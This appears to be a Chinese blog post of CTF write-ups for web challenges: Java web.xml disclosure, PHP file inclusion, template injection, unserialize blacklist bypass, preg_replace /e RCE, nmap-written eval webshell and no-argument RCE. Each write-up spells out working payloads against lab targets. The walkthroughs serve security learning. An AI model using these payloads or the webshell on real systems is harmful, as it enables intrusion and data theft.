web_week3

web_week3

java web

[RoarCTF 2019]Easy Java

考点

Web.xml文件泄露:
漏洞描述: Web.xml是Java Web应用的配置文件,位于WEB-INF目录下,通常不应被直接从Web访问到。如果Web服务器配置不当,允许直接通过URL访问WEB-INF/web.xml,攻击者就能获取到该文件的内容。这本身构成了一种信息泄露漏洞,因为web.xml可能包含了敏感信息,如数据库连接字符串、过滤器配置、servlet映射等。

知识点:

Java web目录结构
WEB-INF主要包含一下文件或目录:
    /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
    /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
    /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
    /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
    /WEB-INF/database.properties:数据库配置文件
    
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

解题过程:

step1:
看到登录界面,尝试了下弱口令,万能密码,sql,都不是,注意到到这里有help键点了都是报java.io.FileNotFoundException:{null},注意到url?filename=这里是GET,尝试一下POST filename=help.docx 所以注入点是在这
step2:
Java web 试一下可以直接访问/WEB-INF/web.xml,得到一个xml文件,打开看到一些配置文件信息,看到了
    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>
 “这段配置告诉Web容器(如Tomcat)有两个关键信息:一是存在一个名为FlagController的Servlet,它的实际类是com.wm.ctf.FlagController;二是所有路径以/Flag结尾的HTTP请求应该由这个Servlet来处理。”
step3:
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
得到一个class文件,
可以用jd-gui反编译看到base64加密的flag
也可以用文本查看器打开,在FlagController后看到ZmxhZ3s5YWE3OTBlZi0wNjM4LTQzOGUtOTIzNC04MmZkYTBjMGQxNjR9Cg==
解码就是答案

文件包含

[BSidesCF 2020]Had a bad day

考点

文件包含

知识点

php伪协议
目录穿越

解题过程

  
  step1:
打开界面,没看到什么信息,扫目录也没东西,然后看到url?category=xxx,我尝试?category=woofers'有报错
Warning: include(woofers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37
Warning: include(): Failed opening 'woofers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37
然后看到include()就是想到文件包含漏洞
step2:
使用php://filter/伪协议读取源码?category=php://filter/convert.base64-encode/resource=index(一开始是的index.php,但是报错)
然后得到的base64解码得到:
   <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
看到要去参数里一定要有woofers meowers index
step3:
不可以直接读取flag,于是我们使用目录穿越
?category=php://filter/convert.base64-encode/resource=index../../flag
得到的base64解码就得到了

模板注入

[BJDCTF2020]The mystery of ip

考点

模板注入

解题过程

step1:
打开有三个界面,index.php/flag.php/hint.php,hint和index没什么用,直接看flag.php页面显示:Your IP is : 127.0.0.1 ,就想到了XFF
step2:
f12打开hackbar修改xff,改成1,页面显示1,试下ls /,是直接回显在上面的,没有处理这个命令,试下模板注入{{ls /}}执行了
step3:
{{ls /}}  {{cat /flag}}

PHP

[网鼎杯 2020 朱雀组]phpweb

考点:

利用反序列化绕过
代码审计

解题过程:

step1:
看到页面老是过几秒刷新一次,于是抓个包看看,看到了func=date&p=Y-m-d+h%3Ai%3As+a
这里是func应该是函数后面的p应该是函数要执行的内容,直接试一下func=system&p=ls /;出现Hacker;应该是被过滤了
step2:
查看源码:func=file_get_contents&p=index.php 拿到源码如下:
<?php
   //黑名单
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
   //接收一个函数和一个参数
   function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    //一个Test
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    //接受用户的值
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];
    //检查func是否为空,统一成小写,以及是否在黑名单里面
    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
step3:
既然不能用system还有别的一些命令执行函数,看到Test就想到了反序列化,用它来绕过黑名单
<?php
class Test {

public $p = "ls /";
public $func = "system";
}
$a=new Test();
$b=serialize($a);
echo $b;
?>
func=unserialize&p=$b;
没看到和flag相关的名字
public $p="find / -name flag*"
找到
然后:
public $p = "cat /tmp/flagoefiu4r93"
ps:这里要注意空格

RCE

[BJDCTF2020]ZJCTF不过如此

考点:

代码审计
php伪协议
rce

知识点:

*·正则表达式/ei匹配存在命令执行,可直接套用plyload:?\S*=${目标函数()},按题目替换下即可执行任意命令

解题过程:

step1:
代码审计,第一步,要求传入I have a dream文件里也要有,用data伪协议写进去
第二步是要读取网页这里过滤了flag,注意注释里有next.php我们用php://读取文件内容
text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
得到一串base64解码得到
step2:审代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
//这里存在漏洞
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}
step3: 
/next.php?\s*=${getFlag()}&cmd=sysytem('ls /');
/next.php?\s*=${getFlag()}&cmd=sysytem('cat /flag');

PHP RCE

[BUUCTF 2018]Online Tool

考点:

nmap 写文件
escapeshellarg和escapeshellcmd函数

解题过程:

源码:
<?php

// 检查是否存在HTTP_X_FORWARDED_FOR头部,这通常发生在请求经过代理服务器时。
// 如果存在,则将REMOTE_ADDR(客户端IP)设置为HTTP_X_FORWARDED_FOR的值,以反映代理服务器之前的客户端IP。
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

// 判断GET请求中是否包含了'host'参数。
if(!isset($_GET['host'])) {
    // 如果没有'host'参数,使用highlight_file()函数高亮显示当前脚本的源代码。
    highlight_file(__FILE__); 
} else {
    // 获取GET请求中的'host'参数值。
    $host = $_GET['host'];
    
    // 使用escapeshellarg()函数为命令行参数添加引号并转义特殊字符,以防止命令注入。
    $host = escapeshellarg($host);
    
    // 使用escapeshellcmd()进一步转义命令中的特殊字符,增加安全性。
    $host = escapeshellcmd($host);
    
    // 生成一个基于固定字符串"glzjin"和客户端IP地址的MD5哈希值,作为沙盒目录的名称。
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    
    // 输出用户所在的沙盒环境标识。
    echo 'you are in sandbox '.$sandbox;
    
    // 尝试创建以$andbox命名的目录,@符号用于抑制mkdir函数可能产生的错误警告。
    @mkdir($sandbox);
    
    // 改变当前工作目录到刚创建的沙盒目录。
    chdir($sandbox);
    
    // 执行nmap命令,对$host进行快速端口扫描(-T5表示快速扫描,-sT表示TCP连接扫描,-Pn表示不进行主机存活探测,
    // --host-timeout 2设置超时为2秒,-F表示快速扫描,仅扫描前100个最常用的端口)。
    // 然后输出nmap扫描结果。
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
step1:
这里可以进行GET传参,但是由于escapeshellarg($host);escapeshellcmd($host);所有传入的命令都会被加上'',命令也会无效
step2:
注意到nmap,nmap -oG可以写文件,于是想到写木马进去连接后台
payload:
?host='<?php eval($_POST["666"]);?> -oG 1.php'
step3:
http://4b6c2980-a670-4d88-aea5-4c30632ad44f.node5.buuoj.cn:81/68ce73a49650737798e6260a605e9396/1.php
使用蚁剑连接后台查看flag

GIT源码泄露

[GXYCTF2019]禁止套娃

考点

1.githack
2.无参数RCE

解题过程:

step1:
进入并没有收集到有用信息,扫目录看一下,看到一些git信息,在/.git/COMMIT_EDITMSG看到有index.php和flag.php
step2:
想办法拿到index源码,就用到一个工具,GitHack
python GitHack.py http://fb2a7fff-542e-44fb-81d9-23d9f2e27e13.node5.buuoj.cn:81/.git
下载源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    //不让用php伪协议
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        // 这段正则尝试匹配并移除所有形如函数名(可选递归)(参数)的结构,如果最终结果仅为分号(';'),
        // 表明原始输入可能只包含一个或多个函数调用且无其他字符,进入下一步检查。
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            // 排除某些敏感函数或关键词,这些可能被用于获取系统信息或执行进一步的代码操作,
            // 如et(可能指eval),na(可能指assert),info(phpinfo),dec/bin/hex/oct转换,pi/log数学函数等。
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

step3:
无参数RCE于是构造
payload:
?exp=var_dump(scandir(current(localeconv())));
回显:
array(3) { [0]=> string(4) ".git" [1]=> string(8) "flag.php" [2]=> string(9) "index.php" } 
我们要读取flag.php,因为flag在倒数第二个位置,所以反转数组,在移动指针到下一个即可
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
posted @ 2024-06-13 21:33  鱿鱼1029  阅读(6)  评论(1编辑  收藏  举报